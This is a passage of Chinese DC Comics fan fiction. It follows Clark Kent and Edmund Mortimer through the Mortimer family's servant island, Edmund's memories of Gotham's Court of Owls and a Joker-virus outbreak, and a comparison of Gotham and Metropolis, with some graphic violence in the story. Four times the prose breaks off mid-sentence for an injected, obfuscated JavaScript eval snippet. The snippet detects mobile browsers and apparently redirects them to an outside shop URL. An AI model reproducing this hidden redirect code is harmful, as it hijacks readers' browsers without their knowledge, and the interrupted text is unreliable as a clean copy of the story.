“所以你哥哥为什么要这么急着叫你回家啊?我到你家来会不会给你惹麻烦?”克拉克问,他和埃德蒙依然离得很近,两人的呼吸交融在一起,他可以嗅到埃德蒙身上入浴剂的香气和熏香留下的,淡淡的香气。埃德蒙在沉默了一会儿之后说:“他觉得一个人有些孤单,毕竟伊莎贝拉更喜欢和她的新男友们住在一起。” 克拉克的第一反应是,岛上的人又不少,雨果怎么会觉得自己是在一个人住,又怎么会觉得孤单呢?但下一刻他反应过来,雨果会觉得孤身一人是理所当然的。雨果并不认为那些仆人们是人类,那些人也习惯了被视为奴隶,甚至奴隶的身份还能让他们感觉到安全。克拉克不理解为什么会这样,但他知道确实存在类似的情况。 就像是昨天,他在下直升机之前,一个人跪在地上,让克拉克的脚可以踩在他的后背上,而不是直接跳下机舱,或者走舷梯。所有人都觉得这很正常,甚至克拉克没有踩下去的时候,直升机的驾驶员还露出了疑惑的神色。克拉克可以认出这位驾驶员是谁,他是山姆·莱恩以前的上司,曾经的将军,在海军陆战队服役,退役之后就到了莫蒂默家族,当一个驾驶员。 他叹了口气,和埃德蒙拥抱。 “我该下床了,”然后克拉克说,“你的床很舒服,但我觉得再在床上待下去,就什么事都做不成了。” 埃德蒙点点头,他先下床,然后单膝跪地,握住了坐在床边的克拉克的脚踝,克拉克的脚趾下意识蜷缩起来,他看着埃德蒙低头给自己穿上拖鞋,咬着下唇,脚背微微颤抖:“真是……我又不是自己不能穿……”埃德蒙沉默了一会儿,将嘴唇印在克拉克白皙的脚背上:“我明白,我只是觉得我应该这么做……我愿意亲吻你留下的脚印,克拉克。” 克拉克用脚尖去碰埃德蒙的肩膀,他偏过头去:“我宁愿你吻我的嘴唇,真是的,要是被别人看到,该怎么办啊!” “放心吧,”埃德蒙说,“我让我的保镖和家里的仆人都不要出现在我们的面前,他们不会到房间里来的。” “你真傲慢,先生,”克拉克放心了一些,他被埃德蒙拉起来之后靠在埃德蒙的身上,“像个有钱的坏蛋,要偷走淳朴的农村男孩的心,把他带进大城市的光怪陆离中,然后让他为了你所代表的物欲完全堕落。该不会你家的佣人们还会把洗漱的用具送到床头吧?” “是可以,不过我还是更喜欢自己去洗漱,”埃德蒙回答,“人不能懒成这样吧?” 其实克拉克和埃德蒙都知道,这不是因为慵懒,只是人总是要做什么展现自己的优越,而不需要劳动正是表达优越感的一种。他们会希望看到细腻的手脚,上面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17074432|194776||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有茧子,会用看起来和刑具相差无几的装饰品束缚自己。克拉克也被人赞美过柔嫩的皮肤,他们问克拉克到底是怎么保养的,但克拉克其实不喜欢这样。 他更希望自己和乔纳森,和玛莎一样,身上留着劳动过的痕迹,但他在自己都不知道自己是氪星人的时候就已经发现了,他很难被晒黑,很难留下老茧。他更喜欢埃德蒙的手,埃德蒙的手因为长期握持手术刀有微弱的变形,即使经过矫正,克拉克也能看出那些细微的区别,埃德蒙的手是经过劳动的,埃德蒙看起来不一样。 “虽然已经说了,但我觉得还是得再说一遍,”洗漱完之后,克拉克说,“你家真的好大,我好像还在外面看到了一条街?街的两边还有店铺?” “是的,”埃德蒙回答,“为莫蒂默家族服务的佣人在获得金钱之后也会希望消费,但并不是每个人都能随时离岛的,而且他们为莫蒂默家族服务,自己也会组建家庭,因此我们会允许一些店铺开在岛上,同时这些店铺也在为莫蒂默家族服务……你可以认为这座岛是一座城市,只不过城市属于莫蒂默家族……属于雨果。当然,基本上也可以说同样属于我。” 克拉克轻笑了一声,他看向窗外,他可以看到这座莫蒂默家族的城市,他甚至可以看到商店里的东西比起哥谭的任何一家商店更加便宜。但事情就是这样,为有钱人服务的商店,同样的物品的价格反倒比穷人所在的社区更便宜,安保的费用被平等的分摊在每一个要为了活下去而拼尽全力的人的身上,而更多的食物被随意倾倒出去。 他还能看到奢侈品的店铺,莫蒂默家族的仆人会使用奢侈品,而中产会为了自己的面子节衣缩食,甚至背上贷款。 “那埃德蒙·莫蒂默先生去那里吃饭要花钱吗?”然后克拉克问。 “其实可以不花,但我一般还是习惯像是正常人一样生活。”埃德蒙回答。 克拉克又笑了一声,他握住了埃德蒙的手,大拇指一下一下抚摸着埃德蒙的手背,他并没有感觉到愉快,他所能感到的只有悲哀。他知道为莫蒂默家族服务的佣人是什么意思,那并不是普通的通过服务换取金钱,而是将自己的全部生命和尊严放在了莫蒂默家族的人的手中。 埃德蒙对他说起过莫蒂默家族的一些事,在莫蒂默家族的族长还是安德烈的时候,就出现过这样的事情。仆人送上的洗脸水烫到了雨果——但其实那不是仆人故意的,只是他毕竟比起雨果皮糙肉厚一些,所以不能很好的感知水温。雨果没有受伤,甚至皮肤都没有变红,只是说了一声“烫”,然后那个仆人就跪在了地上。 而那不能让仆人的命运获得改变,恰恰相反,那个仆人的儿子,比雨果更小的孩子被抓出来,在他的面前用热水一点点烫死,而那个仆人也被杀了。那个仆人的骨头还留在专门的陈列室里,警告着所有的仆人,在面对主人的时候一定要小心翼翼。 27.莫蒂默之岛 在洗漱完,吃完早饭之后,埃德蒙牵着克拉克的手,与他在莫蒂默庄园之中散步。 克拉克没有看到莫蒂默庄园中的任何仆人,但他很清楚,这并不是(也绝不是)因为莫蒂默庄园里没有仆人。只是他们为了顾及庄园的主人之一的埃德蒙的喜好,并不出现在埃德蒙的面前罢了。克拉克可以看到他们真实存在,只不过因为不需要出现在埃德蒙面前而松了口气,毫无贬义的,克拉克想到了老鼠,但老鼠尚且会登堂入室,人却不该这样活着。 即使在湿冷的,哥谭的冬日,在莫蒂默庄园的暖房里,千娇百媚的花朵依然盛开,千娇百媚,争奇斗艳。克拉克和埃德蒙一起走进暖房,埃德蒙顺手摘下一朵玫瑰递给了克拉克,克拉克一开始还想提醒埃德蒙小心玫瑰的刺扎手,但他很快就将花朵拿在手里。克拉克很少看到那么大朵的玫瑰,在花瓣的边缘还有着金线一般的痕迹。 “真美,”克拉克低下头,轻嗅着手中玫瑰花的芳香,“而且好香……” “喜欢的话我可以让花匠采了送给你,”埃德蒙看着克拉克,克拉克的面容映照着花朵的红艳,显得格外令人心动,“每天一束……如果你喜欢的话。” 克拉克笑了起来,他用花朵轻轻敲了一下埃德蒙的鼻尖,花瓣颤颤巍巍地抖动,一点黄色的花粉撒在埃德蒙的身上。然后他用着娇嗔一般的,又带着对埃德蒙的怜爱的语气说:“我才不要!之前我要你送花那次你做了什么?也不自己想想!我现在还在生气呢!所以,这一朵就够了,埃德蒙,一朵已经很美丽了。” 在刚包养克拉克的时候,埃德蒙也是手足无措的,他从来都没有包养过别人,也不打算和自己的哥哥姐姐做一样的事情。接着他加了个群,普通的商用聊天软件,不过据说是加密通话的,他在那个群里阴暗地潜伏着,等着看大家是怎么包养别人的。他学到了很多,按照别人的做法订了一束花送给克拉克——而问题就出在这里。 埃德蒙担心普通的花容易枯萎,容易在运送过程中损坏,而且放在家里没什么实际作用,不能吃不能玩的,于是他专门订做了一束黄金的玫瑰,挑了个好日子让专人送到了克拉克的学校。那天克拉克和同学们刚结束采风和调查,一回到学校就看到二十多个黑衣人在教室门口,为首的黑衣人抱着一束金光灿灿的什么东西。 克拉克手里都是书,就让吉米帮他拿一下,吉米还以为是喷了金粉的玫瑰,随手去接,差点把花掉在地上摔坏。幸好克拉克有超级速度,伪装成反应敏捷地接了一把,然后他才发现这是真的黄金,整整四十千克,抱在怀里就像是抱着一个小孩。克拉克这辈子都没想过黄金是可以按千克来算的,他抱着这束花手足无措,他觉得自己要飞到月球上冷静一下。 偏偏回去之后,他和埃德蒙提起这个的时候,埃德蒙满心歉意。他对克拉克说非常抱歉,但如果再做更多就太重了,他担心克拉克会抱不动,而且会把茶几压坏,不过没关系,要是克拉克要,他可以每天给克拉克送一束。克拉克在电话里听着,吓得飞到了平流层,等他落地之后才气势汹汹地退回了一整束玫瑰花,只留下了一朵。 这朵玫瑰花现在被他放在斯莫威尔的家里,玛莎和乔纳森偶尔会用鸡毛掸子清理一下上面的灰尘,不过绝大部分时间它只是被放置作为观赏。直到现在玛莎都会调侃克拉克,让克拉克带点农场附近的野玫瑰和覆盆子回礼。他们对埃德蒙意外的放心,毕竟埃德蒙长着一张阴沉但是善良的脸,还被克拉克迷得神魂颠倒。 埃德蒙有些无措地笑了笑,但他确实没有继续要求克拉克收下自己的礼物,克拉克笑着,将花瓣又一次点在埃德蒙的嘴唇上,然后说:“不继续带我观赏你的城堡吗?我的伯爵?” 克拉克偶尔会用“伯爵”这个称呼来调侃埃德蒙,毕竟埃德蒙真有爵位,而且还和基督山伯爵同名。埃德蒙看着克拉克,握住了克拉克的手,将克拉克的手也更贴近自己的嘴唇:“只要你不会觉得厌烦,看多久都可以,你甚至能成为这里的主人……但我并不想这么做。” 埃德蒙并不喜欢莫蒂默庄园,这里的每一寸土地都浸染着不同的血腥,从最初原住民的鲜血,到莫蒂默家族的仆人,再到无辜的人,再到莫蒂默家族的族人,血液流淌,永不停歇。他认为莫蒂默家族的存在配不上克拉克,莫蒂默家族的存在是罪恶的根源,而克拉克代表着一切的美好。 克拉克抬头,仰望着巨大的城堡,埃德蒙告诉过他,家里有许多房间是不能进去的,这些房间都上了锁。克拉克没有问他为什么,因为克拉克可以自己去看,他可以看到砖墙的缝隙里抹不去的,名为罪恶的痕迹。他可以看到血,动物和人的毛发,哪怕清理得再干净,超人的视力依然可以看到残存的痕迹。他看到皮肤的碎片,骨骼的残渣,还有墙角的牙齿。 所以他拉住埃德蒙的手,埃德蒙的手非常冰冷,似乎这个温馨的“家”反倒是将他的血和活力抽走牢笼。埃德蒙生活在这个地方,克拉克知道,他无法让自己不产生同情。埃德蒙的价值观和克拉克接近,因此克拉克可以明白埃德蒙的痛苦,唯一的好消息大约是埃德蒙还没有发疯,但或许埃德蒙与疯狂只有一线之隔。 他将埃德蒙的手贴在自己的嘴唇上:“好了,我已经看完了,那么接下来,我们该做什么?继续逛?还是回到你的房间?我想你的兄长允许我出现在这里,就是为了让我放开手脚,和你一起做一些快乐的事情的,不是吗?”而埃德蒙用手指描绘着克拉克嘴唇的轮廓,他轻声叹息着:“我们去街上散步吧,就我和你。” 克拉克点了点头,“让超人”来检查莫蒂默庄园的事情可以之后再说,现在重要的还是埃德蒙。 岛屿上的街道非常干净,是克拉克所极少见到的干净,即使在大都会的街道上也会偶尔看到人类的排泄物或者针头,但这条街上能看到的只有落叶,偶尔可以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17077307|194776||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看到三三两两的,还没有到上学的年龄的孩子在街上玩耍,似乎这里真的是什么世外桃源一般的仙境。克拉克握着埃德蒙的手,看着树叶飘落,也看着一街两行的店铺。 这些店铺都是明亮的,货物被光明正大的摆放在橱窗里,可以看到店员坐在柜台后玩手机或者看视频,也可以看到猫咪走进店铺里打滚。克拉克与埃德蒙十指相扣,他可以感觉到埃德蒙的手正在一点点恢复温暖。见到并肩而行的克拉克与埃德蒙,还有人对着他们打招呼,克拉克可以感觉到切实的亲切,似乎他们真的将这里视为家园。 而事实或许也正是如此。 这座岛屿由莫蒂默家族建设,归属于莫蒂默家族,但在这座岛上也有繁衍了几代的人,他们并不属于莫蒂默家族,但他们却将自己视为这座岛屿,视为莫蒂默家族的一部分。他们接受教育,但这份教育是为了更好地服务于莫蒂默家族,教育并不能塑造人格,教育也没有塑造人格的必要,他们需要的只是知识。 他们从未想过莫蒂默家族是否可以被推翻,是否可以被取而代之,毕竟羔羊天生便是羔羊,牧者天生便是牧者,妄图跨越这一切的壁垒本身就是愚蠢的。而莫蒂默家族的人又是多么温柔的主人啊,绝大部分的他们并不嗜杀,或者说,对杀死自己忠心耿耿的仆人没有太大的兴趣。只要他们“不惹到主人”,他们就不会被惩罚。 甚至还有人能够出现在祭祀之中——这是一种多么难得的荣光啊,似乎自己也被主人所感召,所呼唤,自己也成为了主人先祖的灵的一部分。 自然,他们也恐惧着惩罚,所以驯服人和驯服野兽没有什么两样——糖果,鞭子和上下关系的确立,羊群只要跟着领头羊,哪怕被带去屠宰场也是甘之如饴的。 或者说,不服从莫蒂默家族就有什么好处吗?在外面你可以自由的饿死,自由的倒毙在马路边上,而在岛上你可以过着安定饱足的生活,莫蒂默家族并不人丁兴旺,只要不冒犯仅有的主人,这样的生活又和自由有什么区别呢?更不要说,奴隶们还在赞美着善良的小主人,他甚至还关心他们这些仆人的死活。 但他们不该这样,埃德蒙想,埃德蒙其实不觉得自己是什么道德标兵。爬山的时候他也会让人把自己挑上去,在饭菜里吃出头发他会和服务员吵架,外卖晚点超过半小时他会投诉外卖员,在医院里也会对规培生拍桌子……但人不该这样活着。 人不该因为打翻了牛奶就担心被拖出去鞭打到死,不该“不小心”摔破孩子的皮肤防止被主人看上做成皮包,不该只是因为吃了一颗消炎药就对主人感恩戴德……不,人甚至不该有主人。哪怕是住家保姆和老板之间的关系也应该是爱干干不干滚,此处不留爷自有留爷处。他甚至在困惑,他甚至在心里大喊—— 为什么不杀了我?杀了我,杀了雨果,杀了伊莎贝拉……莫蒂默家就可以宣告终结了。 但他无法喊出这句话。 28.埃德蒙曾经想过一了百了 埃德蒙曾经一度想过去死。 他的人性在尖叫,他的道德在呐喊,他在过去的人生当中所养成的一切观念都在喋喋不休地说着这个世界是错误的,这个世界生病了,但是在他眼前的所有人,他能接触到的所有人都觉得他才是无理取闹的那一个。猫头鹰法庭里有慈善家,有富商,有议员,有市长,有州长,甚至还有总统的候选人和“超级英雄”,他们觥筹交错,生活在希望的灯下。 而埃德蒙为了练习手术去过帮派管理的地区,一部分帮派由各个家族所有,帮着他们去做一些不方便的事情。埃德蒙看着那些人来来往往,在万圣节的街道上他都无法见过那么多奇形怪状的存在。他看到有些人脸上长着巨大的脓疮,看起来就像是另一张脸,他看到皮肤硬化的痕迹,空心的针尖甚至刺不穿动脉,他看到有人一边走,身上一边掉下虫子。 噗叽,虫子被踩扁。 他看到门上挂着风干的头颅,大大小小,一家人被连成一串,地上散落着手指的骨头。他帮一个码头的帮派分子缝好了被什么东西整根砍断的手臂——对他来说,这样的缝合手术很简单——然后告诉那个人要休息,要补充营养,但那个人只是对着他露出一个像是嘲笑,又像是对着一无所知的孩子充满怜悯的笑容,转头去购买“止疼剂”。 帮派分子也是工人,尤其是那种通过非法的活动无法换取足够的金钱养活自己的时候。甚至最开始的帮派本身就带着抱团取暖的属性,那些从旧大陆来的人,他们被以不同信仰,不同国家,不同族群划分,接下来还要加上肤色和阶级,要融入族群,要受到保护,你就必须变得残酷,你就必须让其他人对你足够恐慌。 他练习手术,因为他希望以后当个医生,但他今天缝合好的人,明天就会被开膛破肚的倒在另一条街上。他的哥哥姐姐——不是雨果的那些——还喜欢和他开玩笑,因为他是一个书呆子,他们喜欢问埃德蒙“猜猜看你治好的那个人多久会死”,赌注是黄金和宝石做成的玩具,他们会故意让埃德蒙多赢几次,以免雨果生气。 他甚至曾经想过做慈善,那个时候他给自己的面具起的名字就是悖论,他想自己说不定可以点燃什么火焰,哪怕火焰最后把他烧得一干二净也是一样。他问那些人他们需要什么,但他们无法给他一个准确的回答,绝大部分人甚至没有正常的语言表达能力,他们就连自己到底哪里在痛都说不出来,他们甚至就连自己需要的止疼剂是什么都说不出来。 他们只能说,上帝啊,上帝保佑你,发发慈悲吧,先生,发发慈悲吧。 唯一一次,让埃德蒙觉得自己成功救了的人,是一个名为亚瑟的脱口秀演员。亚瑟是个倒霉蛋,他说的笑话一点都不好笑,因为他缺乏那种令人信服的天赋,又只能一次次挖开自己的伤疤,将自己的血肉当做笑料摆在看客们的面前。他被吸嗨了的Teenagers拖进小巷里殴打,他刚好被埃德蒙看见,于是埃德蒙让他的属下把这个人拖进他暂时挂靠的小黑诊所。 亚瑟讲的笑话一点都不好笑,埃德蒙觉得最好笑的就是他觉得自己是托马斯·韦恩的私生子,当时在竞选市长的人也叫托马斯,他甚至分不清到底是哪个托马斯,但他是唯一能听懂埃德蒙的口音和用词的人了,他甚至能说出自己需要什么药维持精神的稳定。在平静下来的时候,亚瑟会笑着说埃德蒙就像是在想着一千年以后的事情,但绝大部分人能拥有现在已经非常困难了。 然而亚瑟还是死了,即使埃德蒙给他一笔钱,这笔钱能让他过上中产的生活,能让他安葬他的母亲,即使埃德蒙偶尔还会让他来讲一些不好笑的笑话。亚瑟在路上癫痫发作,被救护车送进了医院,喝多了的急诊医生认为他需要输血,所以给他输血……但哥谭许多医院的血浆被小丑污染了,于是小丑病毒感染了本就有精神疾病的亚瑟。 这倒是好笑的事情了,因为有韦恩集团的监督,哥谭的医院最近几年很少倒卖血浆,在哥谭需要输血,又需要(且去的起医院)的病人几乎都能得到输血,这反而导致小丑病毒真的在哥谭传播并且蔓延。在埃德蒙为了“这个任人取乐的丑角”赶到医院的时候,亚瑟已经杀死了医生和护士,拿输液针割开了自己的嘴角。 嘻嘻,嘻嘻,他说,他说。 看,气球,红色的气球在天上飞,爱丽丝掉进了兔子洞,吃下蘑菇之后变大,吃下饼干之后变小,或者反过来。疯子们笑着,笑着,笑着,眼睛留下血泪,就像是化妆一样。 化装舞会,化装舞会,但即便如此,整场化装舞会依然是场奢华狂欢的盛宴……摘下面具!摘下面具!摘下面具! 于是埃德蒙举起了枪。 他可以救亚瑟,抹除亚瑟身上的病毒感染,但从此以后亚瑟将会永远背负着杀死医生和护士的罪恶。亚瑟会发疯,他的精神本就不稳定,这样活着不如去死。 蝙蝠侠在不久之后来到了医院,埃德蒙从来没有责怪过蝙蝠侠,因为在外面还有更多的疯子,他只是看着亚瑟的血在地面上蔓延开来。他说埃德蒙需要检测身体里是否还有小丑病毒的残留,而埃德蒙说不用。埃德蒙知道小丑病毒,但小丑病毒对他也无效,他冲动地走向蝙蝠侠,他说自己有许许多多的罪证,关于人口贩卖,关于强迫用药,也关于吃人,他说希望蝙蝠侠维护正义。 蝙蝠侠答应了他,然后蝙蝠侠忘记了发生过的一切,直到这时候埃德蒙才终究摸到了这个世界的真相或者说,真相之一。这是超级英雄漫画的世界,而超级英雄漫画被画出来为的是给青少年看,是鼓舞人心,因此,即便是英雄也有一辈子无法触及的东西。蝙蝠侠走过满是污水和泥泞的小巷,但他没有看到地上的针管,他无法看到地上的针管,因为这是超级英雄漫画的世界。 或者在必要的时候,他会看到,因为针管是线索,或者是场景道具,让一切更加真实,让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17081800|194776||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这个故事更加令人信服,但故事只是故事。 能看到一切的,只有埃德蒙,和嗤笑着英雄的怪物们。 所以埃德蒙曾经一度想过去死,如果这个世界只是单纯的现实,或者单纯的漫画,他都能正常地生活下去。如果是现实,他可以跑到另一个国家,可以拿着钱脱离自己的家族。他有手艺,他是出色的外科医生。如果是漫画,他可以期待英雄,他可以呼唤英雄的拯救,他只要伸出手去,渴求着天国的降临。 但这不是漫画,这也不是现实,这是两者的狭间,猫头鹰的羽翼包裹着全球,所以埃德蒙只能留在哥谭,而现实的屏障蒙蔽了英雄的双目,所以埃德蒙无法大声呐喊。他的声音不会被任何人听到,一旦他的声音停下就会被英雄遗忘。 他注定无法得救,只能握住克拉克的手,获得溺水之人向上仰首的勇气,但他又感到疲惫,他会觉得要不然自己放手吧,被溺死在水里,我死之后哪管洪水滔天。 阻止他去死的是克拉克的爱,和恐惧。 埃德蒙会上网,这没什么,很多人都会上网,但他在匿名论坛里看到那些人对克拉克的大放厥词。克拉克是一个很美的记者,自然也会有无数狂热的追求者,许多人不敢出现在现实里,只能在网上说着自己的疯狂。他们说着想要把克拉克囚禁起来,以发泄过剩的欲望,吃掉克拉克的血肉,收藏皮肤和骨骼和那双明艳的蓝眼睛,他们说…… 于是埃德蒙不敢去死了,他开始恐惧如果自己死了克拉克会陷入到那样的绝境当中,甚至超人都无法屏蔽克拉克的恐惧。超人很强,但万一要杀害克拉克的人“不属于超级英雄漫画”呢?万一超人为了拯救别的什么人暂时离开了地球,回来的时候克拉克已经死了呢?如果说天上掉下一颗核弹突然把整个大都会的所有人炸死了呢? 于是埃德蒙决定活下去,活到克拉克不需要他的一天。 克拉克可以感觉到埃德蒙的手正在他的手中微微颤抖,于是他只能更紧地握着埃德蒙的手,对埃德蒙提议:“要不我们还是离岛吧?你有什么想去的地方吗?今天我是你的,无论你想做什么,我都会陪在你的身边。”所以,不要害怕了,埃德蒙,我会保护你的,就像是我保护着这个世界一样。 埃德蒙深吸一口气,他还是感觉到冷,于是他点了点头:“我想去大都会晒晒太阳,或许大都会的东道主愿意陪着我?” 克拉克轻笑起来,他将埃德蒙的手贴在自己的嘴唇上:“好的,我的伯爵阁下——但我不想坐直升飞机,要不还是开车?”埃德蒙又点头,他看着克拉克,克拉克也会因为各种影响忘记看到的那些血肉横飞的东西,但埃德蒙觉得庆幸,克拉克蔚蓝的眼睛从未被污浊侵染,而且克拉克的报道曾经带来过真正的力量。 只有在这个时候,埃德蒙会感谢这还是漫画的世界,克拉克的报道推翻过大都会的某个首富的商业帝国,这样也足够了。 29.城市规划 大都会与哥谭之间的格局是截然不同的。 当然,这并不是在说大都会与哥谭的城市建设方面存在高下之分,但这句话由埃德蒙说出来也没什么说服力。他完全不懂什么城市建设或者规划之类的东西,而他接受的所谓精英教育之中也不包括历史——或者更准确地说,不是不包括,而是历史本身也经过了诸多涂抹。于是他只能凭借自己的感受,做出主观的回答与判断。 不过无论是大都会人还是哥谭人,只要是对于城市的历史稍有研究的人都会知道,哥谭事实上比起大都会更早迎来开发。哥谭的地理环境和水文环境都相对优越,曾经地下还埋藏着许多矿物,因此淘金客们络绎不绝。然而较早的开发也让这座城市的现今迎来了各种问题,如今哥谭的建筑和道路几乎都保留着一定的“古典”风貌,甚至许多道路都不能允许大车入内。 而工业发展留下的痕迹极大的破坏了哥谭应有的自然风貌,目前哥谭的树木几乎都是后期移栽,地下水的大量开采导致地面下陷,地面开裂和建筑物墙面开裂,目前依然存在部分矿洞在不安全的情况下继续被盗掘。哥谭的港口同样也因为地面下陷遭到了破坏,大大小小十余处港口,只有七处还能勉强使用。 在几十年前,艾伦·韦恩发现了哥谭的隐忧,他以一种富豪的热情和建筑师的使命感协同当时的哥谭市长对城市进行了重新规划。现在哥谭的市政府里其实还保留着那个时候他协助市长竞选时宣讲的录像,艾伦·韦恩和布鲁斯长得非常相似,在当时也有美男子的称呼,哪怕是极低的像素和黑白的影像也无法掩盖他脸上的神采奕奕。 在他的方案中,哥谭将会是一个取消了种族隔离的美好都市,在这里,人们只要步行十五分钟便可以到达离家最近的公园,几个街区统一有学校进行教学。警察会定期巡逻,市政府的拨款会让他们的足迹遍布每一个街区,不会再出现报警之后五个小时警察才赶到的情况。诊所和公益诊所将会保护居民的生命安全,他甚至愿意自己出钱。 也不是说他不出钱会有别人出钱的意思。 另外,不必要的下水道和矿道会被封锁,一部分港口将会被关停,另一部分则改成旅游景点,一部分含铅的水管将会被更换。工会要保证工人的安全,劳动时的工伤需要得到补偿,辞退工人必须有理有据,也必须有足够的赔偿金。工厂将会开放保育院,让工人可以放心工作,他们的孩子可以安全的玩耍和受到照顾,不用担心被人带走或者丢失…… 然后艾伦·韦恩就死了,在死前他充满不甘地说,自己看到了夜空中飞舞的猫头鹰,他郁郁寡欢,酒醉后跌入了一个污水坑,就在这个不到洗脸盆大的水坑里淹死了。不久之后,他的朋友,那位新的市长,在吃饭的时候被鱼骨头划伤了喉咙,他的喉咙发炎化脓,很快就让他痛苦地死去了。对哥谭的改造刚开始就已经停下,这里没有怜悯,没有希望,哥谭从未迎来过黎明。 下一个打算改造哥谭的是托马斯·韦恩,而他的结局所有人都一清二楚。 而大都会不同——大都会与哥谭最大的不同就在于,大都会的土里没埋着什么好东西,似乎有一只手把大都会的所有好东西都丢到了别处。大都会的土地并不肥沃,肥沃的土地在堪萨斯。大都会的土壤里没有矿产,矿产在哥谭。大都会的地下水喝起来非常苦涩,地面坚硬难以挖掘,因此淘金客们对大都会全无兴趣,直到大都会成为了高科技产业区为止。 截至目前,几十家大型科技公司齐聚大都会,而其中最耀眼的便是莱克斯集团,而同样的,大都会也被其中的居民所改造。 相较于哥谭,大都会的城市规划更加新潮也更加密集,可以看到无数横平竖直的道路将大都会贯穿。城市的中心被高楼大厦所覆盖,坚硬的土壤反而成为了坚实的地基。其中最为高耸入云的便是莱克斯大厦,即使不喜欢卢瑟,埃德蒙也不得不承认,卢瑟确实是一位天才的科学家。人们在街道上行色匆匆,奔向自己的公司。 大都会天生就有一套“准入门槛”,这是哥谭无法做到的,因为大都会的所有企业都不是所谓的“劳动密集型”企业,而在科技公司上班,就连保洁也需要文凭,防止把工作文件当做垃圾。也正是因此一份工作有无数人希望争抢,你不干有的是别人干。而离职的人也会很快离开大都会,不会继续在大都会的街边逗留。 大都会的夜晚非常的美丽,但这份美丽是由一些冷酷无情的东西换来的,在大都会没有沿街关闭的店铺也没有烂尾楼,街道上永远车水马龙以至于人行道格外拥挤,甚至容不下流浪汉的帐篷。公园虽然开放,但本质上还是各个企业的私有财产,一旦流浪汉进入就可以被警察直接带走。大都会的地铁口有专门的装置防止流浪汉逗留,也因此大都会的地铁是全美最干净的。 甚至于,当莱克斯集团开发出了一套全新的供暖回收装置之后,连地铁的通风口都不会再吹出暖风了,而全新规划的下水道系统也没有给流浪汉预留出空间……一句话,你在大都会根本没法以流浪的方式生活下去,大都会只有一个小小的角落还保留了所谓的贫民窟,但事实上那个贫民窟里几乎全是莱克斯集团豢养的打手。 当然,这一切在超人出现之后得到了改变。 这并不是说超人来了之后大都会就多了流浪汉,而是说,大部分的企业都知道自己最好要尊重超人——也不是说哥谭人就不知道要尊重蝙蝠侠了,只不过两个城市的情况截然不同。大都会的高科技企业们大部分都是新贵,没有哥谭老钱那么……有退路,他们必须考虑超人的想法是否会对自己造成影响,不像是猫头鹰法庭,想直接干掉蝙蝠侠。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17081801|194776||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 而随着时间的推移,大都会那种精英主义的,让人恐惧的高效运转确实发生了一定程度的改变,你可以在街头看到不少小吃摊,他们并不被帮派所管辖,也没有帮派敢在超人随叫随到的情况下对他们进行管辖。警察倒是可以维护秩序,超人不会阻止警察驱赶占道经营的人,但如果你想要使用暴力,边上一定会有一个满脸微笑的超人等着买刚出炉的热狗或者甜甜圈。 超人自然也没法管正常的辞退员工,他也从不做劳动仲裁,但超人很愿意帮一个想要上班的人找工作。超人倒是没有什么人类世界的工厂,但韦恩集团,奎恩工业和莫蒂默家族下的一部分产业会很愿意吸收一些社会上的人才。另外,某个企业非法辞退员工,或者以不正常的理由辞退员工的次数过多,这件事就会莫名其妙出现在《星球日报》上,或者某些电台里,而外星人满脸无辜。 医疗也是一样,有人身患重病或者突发恶疾,不用叫救护车,只要叫超人。街上发生了交通事故,或者家里的车突然损坏,超人很愿意先帮忙把人送到目的地。甚至在一场重要的会议之前衣服突然被咖啡弄脏了,只要好声好气的拜托超人,超人也会笑着帮你拿一套新衣服,或者在三秒之内用超能力把衣服上的污渍清理干净。 不过其实超人也不是全勤工作,他也有自己的私生活,所以有些时候他会用孤独堡垒的机器人帮自己顶一下。而在有了超人兜底的时候,事故反而变少了,大家也变得心平气和了,毕竟突发状况不代表一系列的滑落,而代表超人无奈地笑。大都会人将超人称为大都会的超人,而其他人将大都会称为超人的大都会。 可惜某个人对此有不同的意见,但我们不要去管他,毕竟超人都不是很明白那家伙的脑回路,他只能尊重、祝福和顺从。 当莫蒂默家族的豪车从大桥上驶入哥谭的瞬间,阳光洒落了下来。 